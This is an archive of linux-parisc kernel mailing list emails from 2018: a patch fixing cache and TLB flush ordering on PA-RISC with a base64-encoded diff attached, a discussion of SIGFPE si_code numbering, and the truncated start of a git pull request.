        by math.ut.ee (Postfix) with ESMTP id 5B2F322182E;
        Wed, 14 Feb 2018 16:20:02 +0200 (EET)
In-Reply-To: <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28300>

Since the error was strange, I ran "make clean" and make and the error 
was gone. So something in the build system might have missed a 
recompilation need (maybe) but my problem is gone. The new kernel is 
running fine.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v2] parisc: Fix ordering of cache and TLB flushes
Date: Wed, 14 Feb 2018 19:07:51 -0500
Lines: 147
Approved: news@gmane.org
Message-ID: <bf8bd5f7-b875-b755-882a-750a5016c158@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FD627F9E6A6043AB9BD1BCBE"
X-Trace: blaine.gmane.org 1518653158 19312 195.159.176.226 (15 Feb 2018 00:05:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 15 Feb 2018 00:05:58 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: Helge Deller <deller@gmx.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 15 01:05:54 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1em73c-0003fl-E5
	for glpp-linux-parisc@m.gmane.org; Thu, 15 Feb 2018 01:05:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1032189AbeBOAHy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 14 Feb 2018 19:07:54 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:55231 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1032091AbeBOAHy (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 14 Feb 2018 19:07:54 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180215000752.BAJF32387.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 14 Feb 2018 19:07:52 -0500
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by torspm02.bell.net
          with ESMTP
          id <20180215000752.NNSG31064.torspm02.bell.net@[192.168.2.49]>;
          Wed, 14 Feb 2018 19:07:52 -0500
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=Op4juWPpsa0A:10 a=r77TgQKjGQsHNAKrUKIA:9 a=FBHGMhGWAAAA:8 a=joGbh3AQvw-7eJtGqr4A:9 a=QEXdDO2ut3YA:10 a=p4VhOWsVaRAUqxM2y2UA:9 a=ichUEFZdvV4A:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28301
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28301>

This is a multi-part message in MIME format.
--------------FD627F9E6A6043AB9BD1BCBE
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit

I messed up the change to flush_cache_mm() in the first version.

The attached change fixes the ordering of cache and TLB flushes in 
several cases.  When we
flush the cache using the existing PTE/TLB entries, we need to flush the 
TLB after doing the cache
flush.  We don't need to do this when we flush the entire instruction 
and data caches as these
flushes don't use the existing TLB entries.  The same is true for 
tmpalias region flushes.

The flush_kernel_vmap_range() and invalidate_kernel_vmap_range() 
routines have been
updated.   Helge reported that using  flush_data_cache() on PA 1.1 
causes a deadlock in the
dynamic DMA routines in pci-dma.c in SMP kernels.  So, we have disabled 
using the whole
data cache flush in this case.  This fixes PA 1.1 SMP support.

Secondly, we added a new purge_kernel_dcache_range_asm() routine to 
pacache.S and
use it in invalidate_kernel_vmap_range().  Nominally, purges are faster 
than flushes as the
cache lines don't have to be written back to memory.

Hopefully, this is sufficient to resolve the remaining problems due to 
cache speculation.  So far,
testing indicates that this is the case.  I did work up a patch using 
tmpalias flushes, but there
is a performance hit because we need the physical address for each page, 
and we also need
to sequence access to the tmpalias flush code.  This increases the 
probability of stalls.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>


--------------FD627F9E6A6043AB9BD1BCBE
Content-Type: text/plain; charset=UTF-8;
 name="cache-v2.d"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="cache-v2.d"

ZGlmZiAtLWdpdCBhL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaCBiL2Fy
Y2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaAppbmRleCAzNzQyNTA4Y2M1MzQu
LmJkNWNlMzE5MzZmNSAxMDA2NDQKLS0tIGEvYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vY2Fj
aGVmbHVzaC5oCisrKyBiL2FyY2gvcGFyaXNjL2luY2x1ZGUvYXNtL2NhY2hlZmx1c2guaApA
QCAtMjYsNiArMjYsNyBAQCB2b2lkIGZsdXNoX3VzZXJfaWNhY2hlX3JhbmdlX2FzbSh1bnNp
Z25lZCBsb25nLCB1bnNpZ25lZCBsb25nKTsKIHZvaWQgZmx1c2hfa2VybmVsX2ljYWNoZV9y
YW5nZV9hc20odW5zaWduZWQgbG9uZywgdW5zaWduZWQgbG9uZyk7CiB2b2lkIGZsdXNoX3Vz
ZXJfZGNhY2hlX3JhbmdlX2FzbSh1bnNpZ25lZCBsb25nLCB1bnNpZ25lZCBsb25nKTsKIHZv
aWQgZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20odW5zaWduZWQgbG9uZywgdW5zaWdu
ZWQgbG9uZyk7Cit2b2lkIHB1cmdlX2tlcm5lbF9kY2FjaGVfcmFuZ2VfYXNtKHVuc2lnbmVk
IGxvbmcsIHVuc2lnbmVkIGxvbmcpOwogdm9pZCBmbHVzaF9rZXJuZWxfZGNhY2hlX3BhZ2Vf
YXNtKHZvaWQgKik7CiB2b2lkIGZsdXNoX2tlcm5lbF9pY2FjaGVfcGFnZSh2b2lkICopOwog
CmRpZmYgLS1naXQgYS9hcmNoL3BhcmlzYy9rZXJuZWwvY2FjaGUuYyBiL2FyY2gvcGFyaXNj
L2tlcm5lbC9jYWNoZS5jCmluZGV4IDE5YzBjMTQxYmMzZi4uN2MxYmRlODBhZGE0IDEwMDY0
NAotLS0gYS9hcmNoL3BhcmlzYy9rZXJuZWwvY2FjaGUuYworKysgYi9hcmNoL3BhcmlzYy9r
ZXJuZWwvY2FjaGUuYwpAQCAtNTM5LDEzICs1MzksMTAgQEAgdm9pZCBmbHVzaF9jYWNoZV9t
bShzdHJ1Y3QgbW1fc3RydWN0ICptbSkKIAlzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYTsK
IAlwZ2RfdCAqcGdkOwogCi0JLyogRmx1c2ggdGhlIFRMQiB0byBhdm9pZCBzcGVjdWxhdGlv
biBpZiBjb2hlcmVuY3kgaXMgcmVxdWlyZWQuICovCi0JaWYgKHBhcmlzY19yZXF1aXJlc19j
b2hlcmVuY3koKSkKLQkJZmx1c2hfdGxiX2FsbCgpOwotCiAJLyogRmx1c2hpbmcgdGhlIHdo
b2xlIGNhY2hlIG9uIGVhY2ggY3B1IHRha2VzIGZvcmV2ZXIgb24KIAkgICBycDM0NDAsIGV0
Yy4gIFNvLCBhdm9pZCBpdCBpZiB0aGUgbW0gaXNuJ3QgdG9vIGJpZy4gICovCiAJaWYgKG1t
X3RvdGFsX3NpemUobW0pID49IHBhcmlzY19jYWNoZV9mbHVzaF90aHJlc2hvbGQpIHsKKwkJ
Zmx1c2hfdGxiX2FsbCgpOwogCQlmbHVzaF9jYWNoZV9hbGwoKTsKIAkJcmV0dXJuOwogCX0K
QEAgLTU1Myw5ICs1NTAsOSBAQCB2b2lkIGZsdXNoX2NhY2hlX21tKHN0cnVjdCBtbV9zdHJ1
Y3QgKm1tKQogCWlmIChtbS0+Y29udGV4dCA9PSBtZnNwKDMpKSB7CiAJCWZvciAodm1hID0g
bW0tPm1tYXA7IHZtYTsgdm1hID0gdm1hLT52bV9uZXh0KSB7CiAJCQlmbHVzaF91c2VyX2Rj
YWNoZV9yYW5nZV9hc20odm1hLT52bV9zdGFydCwgdm1hLT52bV9lbmQpOwotCQkJaWYgKCh2
bWEtPnZtX2ZsYWdzICYgVk1fRVhFQykgPT0gMCkKLQkJCQljb250aW51ZTsKLQkJCWZsdXNo
X3VzZXJfaWNhY2hlX3JhbmdlX2FzbSh2bWEtPnZtX3N0YXJ0LCB2bWEtPnZtX2VuZCk7CisJ
CQlpZiAodm1hLT52bV9mbGFncyAmIFZNX0VYRUMpCisJCQkJZmx1c2hfdXNlcl9pY2FjaGVf
cmFuZ2VfYXNtKHZtYS0+dm1fc3RhcnQsIHZtYS0+dm1fZW5kKTsKKwkJCWZsdXNoX3RsYl9y
YW5nZSh2bWEsIHZtYS0+dm1fc3RhcnQsIHZtYS0+dm1fZW5kKTsKIAkJfQogCQlyZXR1cm47
CiAJfQpAQCAtNTgxLDIxICs1NzgsMTggQEAgdm9pZCBmbHVzaF9jYWNoZV9tbShzdHJ1Y3Qg
bW1fc3RydWN0ICptbSkKIHZvaWQgZmx1c2hfY2FjaGVfcmFuZ2Uoc3RydWN0IHZtX2FyZWFf
c3RydWN0ICp2bWEsCiAJCXVuc2lnbmVkIGxvbmcgc3RhcnQsIHVuc2lnbmVkIGxvbmcgZW5k
KQogewotCUJVR19PTighdm1hLT52bV9tbS0+Y29udGV4dCk7Ci0KLQkvKiBGbHVzaCB0aGUg
VExCIHRvIGF2b2lkIHNwZWN1bGF0aW9uIGlmIGNvaGVyZW5jeSBpcyByZXF1aXJlZC4gKi8K
LQlpZiAocGFyaXNjX3JlcXVpcmVzX2NvaGVyZW5jeSgpKQorCWlmICgoZW5kIC0gc3RhcnQp
ID49IHBhcmlzY19jYWNoZV9mbHVzaF90aHJlc2hvbGQpIHsKIAkJZmx1c2hfdGxiX3Jhbmdl
KHZtYSwgc3RhcnQsIGVuZCk7Ci0KLQlpZiAoKGVuZCAtIHN0YXJ0KSA+PSBwYXJpc2NfY2Fj
aGVfZmx1c2hfdGhyZXNob2xkCi0JICAgIHx8IHZtYS0+dm1fbW0tPmNvbnRleHQgIT0gbWZz
cCgzKSkgewogCQlmbHVzaF9jYWNoZV9hbGwoKTsKIAkJcmV0dXJuOwogCX0KIAorCUJVR19P
Tih2bWEtPnZtX21tLT5jb250ZXh0ICE9IG1mc3AoMykpOworCiAJZmx1c2hfdXNlcl9kY2Fj
aGVfcmFuZ2VfYXNtKHN0YXJ0LCBlbmQpOwogCWlmICh2bWEtPnZtX2ZsYWdzICYgVk1fRVhF
QykKIAkJZmx1c2hfdXNlcl9pY2FjaGVfcmFuZ2VfYXNtKHN0YXJ0LCBlbmQpOworCWZsdXNo
X3RsYl9yYW5nZSh2bWEsIHN0YXJ0LCBlbmQpOwogfQogCiB2b2lkCkBAIC02MDQsOCArNTk4
LDcgQEAgZmx1c2hfY2FjaGVfcGFnZShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5z
aWduZWQgbG9uZyB2bWFkZHIsIHVuc2lnbmVkIGxvbmcKIAlCVUdfT04oIXZtYS0+dm1fbW0t
PmNvbnRleHQpOwogCiAJaWYgKHBmbl92YWxpZChwZm4pKSB7Ci0JCWlmIChwYXJpc2NfcmVx
dWlyZXNfY29oZXJlbmN5KCkpCi0JCQlmbHVzaF90bGJfcGFnZSh2bWEsIHZtYWRkcik7CisJ
CWZsdXNoX3RsYl9wYWdlKHZtYSwgdm1hZGRyKTsKIAkJX19mbHVzaF9jYWNoZV9wYWdlKHZt
YSwgdm1hZGRyLCBQRk5fUEhZUyhwZm4pKTsKIAl9CiB9CkBAIC02MTMsMjEgKzYwNiwzNSBA
QCBmbHVzaF9jYWNoZV9wYWdlKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25l
ZCBsb25nIHZtYWRkciwgdW5zaWduZWQgbG9uZwogdm9pZCBmbHVzaF9rZXJuZWxfdm1hcF9y
YW5nZSh2b2lkICp2YWRkciwgaW50IHNpemUpCiB7CiAJdW5zaWduZWQgbG9uZyBzdGFydCA9
ICh1bnNpZ25lZCBsb25nKXZhZGRyOworCXVuc2lnbmVkIGxvbmcgZW5kID0gc3RhcnQgKyBz
aXplOwogCi0JaWYgKCh1bnNpZ25lZCBsb25nKXNpemUgPiBwYXJpc2NfY2FjaGVfZmx1c2hf
dGhyZXNob2xkKQorI2lmIGRlZmluZWQoQ09ORklHX1BBMjApIHx8ICFkZWZpbmVkKENPTkZJ
R19TTVApCisJLyogVGhlIElQSSBpbnRlcnJ1cHRzIHVzZWQgYnkgZmx1c2hfZGF0YV9jYWNo
ZSgpIGNhdXNlIGEgc3RhbGwKKwkgICBpbiB0aGUgUEEgMS4xIGR5bmFtaWMgRE1BIG1hcHBp
bmcgY29kZSBpbiBTTVAga2VybmVscy4gKi8KKwlpZiAoKHVuc2lnbmVkIGxvbmcpc2l6ZSA+
PSBwYXJpc2NfY2FjaGVfZmx1c2hfdGhyZXNob2xkKSB7CisJCWZsdXNoX3RsYl9rZXJuZWxf
cmFuZ2UgKHN0YXJ0LCBlbmQpOwogCQlmbHVzaF9kYXRhX2NhY2hlKCk7Ci0JZWxzZQotCQlm
bHVzaF9rZXJuZWxfZGNhY2hlX3JhbmdlX2FzbShzdGFydCwgc3RhcnQgKyBzaXplKTsKKwkJ
cmV0dXJuOworCX0KKyNlbmRpZgorCisJZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20o
c3RhcnQsIGVuZCk7CisJZmx1c2hfdGxiX2tlcm5lbF9yYW5nZSAoc3RhcnQsIGVuZCk7CiB9
CiBFWFBPUlRfU1lNQk9MKGZsdXNoX2tlcm5lbF92bWFwX3JhbmdlKTsKIAogdm9pZCBpbnZh
bGlkYXRlX2tlcm5lbF92bWFwX3JhbmdlKHZvaWQgKnZhZGRyLCBpbnQgc2l6ZSkKIHsKIAl1
bnNpZ25lZCBsb25nIHN0YXJ0ID0gKHVuc2lnbmVkIGxvbmcpdmFkZHI7CisJdW5zaWduZWQg
bG9uZyBlbmQgPSBzdGFydCArIHNpemU7CiAKLQlpZiAoKHVuc2lnbmVkIGxvbmcpc2l6ZSA+
IHBhcmlzY19jYWNoZV9mbHVzaF90aHJlc2hvbGQpCisJaWYgKCh1bnNpZ25lZCBsb25nKXNp
emUgPj0gcGFyaXNjX2NhY2hlX2ZsdXNoX3RocmVzaG9sZCkgeworCQlmbHVzaF90bGJfa2Vy
bmVsX3JhbmdlIChzdGFydCwgZW5kKTsKIAkJZmx1c2hfZGF0YV9jYWNoZSgpOwotCWVsc2UK
LQkJZmx1c2hfa2VybmVsX2RjYWNoZV9yYW5nZV9hc20oc3RhcnQsIHN0YXJ0ICsgc2l6ZSk7
CisJCXJldHVybjsKKwl9CisKKwlwdXJnZV9rZXJuZWxfZGNhY2hlX3JhbmdlX2FzbShzdGFy
dCwgZW5kKTsKKwlmbHVzaF90bGJfa2VybmVsX3JhbmdlIChzdGFydCwgZW5kKTsKIH0KIEVY
UE9SVF9TWU1CT0woaW52YWxpZGF0ZV9rZXJuZWxfdm1hcF9yYW5nZSk7CmRpZmYgLS1naXQg
YS9hcmNoL3BhcmlzYy9rZXJuZWwvcGFjYWNoZS5TIGIvYXJjaC9wYXJpc2Mva2VybmVsL3Bh
Y2FjaGUuUwppbmRleCAyZDQwYzRmZjNmNjkuLjY3YjBmNzUzMmU4MyAxMDA2NDQKLS0tIGEv
YXJjaC9wYXJpc2Mva2VybmVsL3BhY2FjaGUuUworKysgYi9hcmNoL3BhcmlzYy9rZXJuZWwv
cGFjYWNoZS5TCkBAIC0xMTEwLDYgKzExMTAsMjggQEAgRU5UUllfQ0ZJKGZsdXNoX2tlcm5l
bF9kY2FjaGVfcmFuZ2VfYXNtKQogCS5wcm9jZW5kCiBFTkRQUk9DX0NGSShmbHVzaF9rZXJu
ZWxfZGNhY2hlX3JhbmdlX2FzbSkKIAorRU5UUllfQ0ZJKHB1cmdlX2tlcm5lbF9kY2FjaGVf
cmFuZ2VfYXNtKQorCS5wcm9jCisJLmNhbGxpbmZvIE5PX0NBTExTCisJLmVudHJ5CisKKwls
ZGlsCQlMJWRjYWNoZV9zdHJpZGUsICVyMQorCWxkdwkJUiVkY2FjaGVfc3RyaWRlKCVyMSks
ICVyMjMKKwlsZG8JCS0xKCVyMjMpLCAlcjIxCisJQU5EQ00JCSVyMjYsICVyMjEsICVyMjYK
KworMTogICAgICBjbXBiLENPTkQoPDwpLG4JJXIyNiwgJXIyNSwxYgorCXBkYyxtCQklcjIz
KCVyMjYpCisKKwlzeW5jCisJc3luY2RtYQorCWJ2CQklcjAoJXIyKQorCW5vcAorCS5leGl0
CisKKwkucHJvY2VuZAorRU5EUFJPQ19DRkkocHVyZ2Vfa2VybmVsX2RjYWNoZV9yYW5nZV9h
c20pCisKIEVOVFJZX0NGSShmbHVzaF91c2VyX2ljYWNoZV9yYW5nZV9hc20pCiAJLnByb2MK
IAkuY2FsbGluZm8gTk9fQ0FMTFMK
--------------FD627F9E6A6043AB9BD1BCBE--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 04/11] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Mon, 26 Feb 2018 20:19:35 -0600
Lines: 74
Approved: news@gmane.org
Message-ID: <87r2p7uqbs.fsf@xmission.com>
References: <87373b6ghs.fsf@xmission.com>
        <20180112005940.23279-4-ebiederm@xmission.com>
        <20180112222944.GA22642@ls3530.fritz.box>
        <87fu5s4l4b.fsf@xmission.com>
        <68641c9e-99c6-34d3-83aa-1241bddef33c@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1519697899 12437 195.159.176.226 (27 Feb 2018 02:18:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Feb 2018 02:18:19 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        linux-kernel@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
        Oleg Nesterov <oleg@redhat.com>, linux-arch@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 27 03:18:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eqUqL-0002cM-Uy
	for glk-linux-kernel-4@m.gmane.org; Tue, 27 Feb 2018 03:18:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751847AbeB0CUQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 26 Feb 2018 21:20:16 -0500
Original-Received: from out03.mta.xmission.com ([166.70.13.233]:51403 "EHLO
        out03.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751591AbeB0CUO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 26 Feb 2018 21:20:14 -0500
Original-Received: from in01.mta.xmission.com ([166.70.13.51])
        by out03.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eqUsB-0000L1-L1; Mon, 26 Feb 2018 19:20:07 -0700
Original-Received: from 174-19-85-160.omah.qwest.net ([174.19.85.160] helo=x220.xmission.com)
        by in01.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eqUsA-0005BQ-JK; Mon, 26 Feb 2018 19:20:07 -0700
In-Reply-To: <68641c9e-99c6-34d3-83aa-1241bddef33c@gmx.de> (Helge Deller's
        message of "Sun, 25 Feb 2018 20:49:41 +0100")
X-XM-SPF: eid=1eqUsA-0005BQ-JK;;;mid=<87r2p7uqbs.fsf@xmission.com>;;;hst=in01.mta.xmission.com;;;ip=174.19.85.160;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX181MjbviIBrqFbPh2c7uCFcTV5bYgFfU+Q=
X-SA-Exim-Connect-IP: 174.19.85.160
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  0.7 XMSubLong Long Subject
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa06 1397; Body=1 Fuz1=1 Fuz2=1]
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
X-Spam-DCC: XMission; sa06 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ***;Helge Deller <deller@gmx.de>
X-Spam-Relay-Country: 
X-Spam-Timing: total 271 ms - load_scoreonly_sql: 0.04 (0.0%),
        signal_user_changed: 2.8 (1.0%), b_tie_ro: 1.96 (0.7%), parse: 1.08 (0.4%),
        extract_message_metadata: 15 (5.5%), get_uri_detail_list: 2.4 (0.9%),
        tests_pri_-1000: 8 (3.0%), tests_pri_-950: 1.14 (0.4%), tests_pri_-900: 0.98
        (0.4%), tests_pri_-400: 24 (8.8%), check_bayes: 23 (8.5%), b_tokenize: 8
        (2.8%), b_tok_get_all: 8 (3.0%), b_comp_prob: 2.5 (0.9%), b_tok_touch_all:
        2.8 (1.0%), b_finish: 0.60 (0.2%), tests_pri_0: 210 (77.4%),
        check_dkim_signature: 0.67 (0.2%), check_dkim_adsp: 2.4 (0.9%),
        tests_pri_500: 6 (2.1%), rewrite_mail: 0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in01.mta.xmission.com)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2697202 gmane.linux.ports.parisc:28302 gmane.linux.kernel.cross-arch:42464
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2697202>

Helge Deller <deller@gmx.de> writes:

> On 23.02.2018 01:15, Eric W. Biederman wrote:
>> Helge Deller <deller@gmx.de> writes:
>> 
>>> * Eric W. Biederman <ebiederm@xmission.com>:
>>>> Setting si_code to 0 results in a userspace seeing an si_code of 0.
>>>> This is the same si_code as SI_USER.  Posix and common sense requires
>>>> that SI_USER not be a signal specific si_code.  As such this use of 0
>>>> for the si_code is a pretty horribly broken ABI.
>>>>
>>>> Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
>>>> value of __SI_KILL and now sees a value of SIL_KILL with the result
>>>> that uid and pid fields are copied and which might copying the si_addr
>>>> field by accident but certainly not by design.  Making this a very
>>>> flakey implementation.
>>>>
>>>> Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
>>>> appropriate fields will reliably be copied.
>>>>
>>>> This bug is 13 years old and parsic machines are no longer being built
>>>> so I don't know if it possible or worth fixing it.  But it is at least
>>>> worth documenting this so other architectures don't make the same
>>>> mistake.
>>>
>>>
>>> I think we should fix it, even if we now break the ABI.
>>>
>>> It's about a "conditional trap" which needs to be handled by userspace.
>>> I doubt there is any Linux code out which is utilizing this
>>> parisc-specific trap.
>>>
>>> I'd suggest to add a new FPE trap si_code (e.g. FPE_CONDTRAP).
>>> While at it, maybe we should include the already existing FPE_MDAOVF
>>> from the frv architecture, so that arch/frv/include/uapi/asm/siginfo.h
>>> can go completely.
>>>
>>> Suggested patch is below.
>>>
>>> I'm willing to test the patch below on the parisc architecture for a few
>>> weeks. And it will break arch/x86/kernel/signal_compat.c which needs
>>> looking at then too.
>> 
>> Have you managed to test this change?
>
> Sadly I haven't done any further testing yet.

So at this point for purposed of testing I don't think it matters which
number FPE_CONDTRAP gets as long as it is non-zero.
>  
>> I am sitting looking at another new FPE si_code and if this has been tested
>> I figure FPE_CONDTRAP should get the next available FPE si_code and the
>> other change should get the one that follows.
>
> I'm fine either way. Do you have a git tree I can pull which includes
> all your patches? I can then start testing.

Everything finalized is in Linus's tree.  There is a patch pending
review on linux-arch that defines FPE_FLTUNK that looks to be useful
on several architectures.

I had probably misread our earlier exchange.  I had hoped you had tested
that FPE_CONDTRAP did not cause problems.

If that level of testing was complete I would have given FPE_CONDTRAP
the next FPE number and FPE_FLTUNK the one after.

As it sounds like FPE_CONDTRAP hasn't been tested enough to know if it
causes problems I will encourage the patches to be merged in the other
order.

Eric



From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for 4.16-rc4
Date: Fri, 2 Mar 2018 21:11:30 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20180302201130.GA5035@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1520021384 631 195.159.176.226 (2 Mar 2018 20:09:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 2 Mar 2018 20:09:44 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Mar 02 21:09:40 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1erqzq-0007tr-Mo
	for glk-linux-kernel-4@m.gmane.org; Fri, 02 Mar 2018 21:09:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932701AbeCBULm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 2 Mar 2018 15:11:42 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:39587 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932631AbeCBULl (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 2 Mar 2018 15:11:41 -0500
Original-Received: from ls3530.fritz.box ([88.130.64.112]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LzHZ7-1eeIAm2TR3-014Vp7; Fri, 02
 Mar 2018 21:11:33 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:Z0S2dY4XMVQXHPn63jFI+4YRH9cXeNqx6B894l5yLVULMnwBBjm
 vk2lhktjJFCZMXHBu1nRAHQN8TcWg7TQaR7UG5kuxGepxHPfCvlFK6+RdDRy69nbICwpYQf
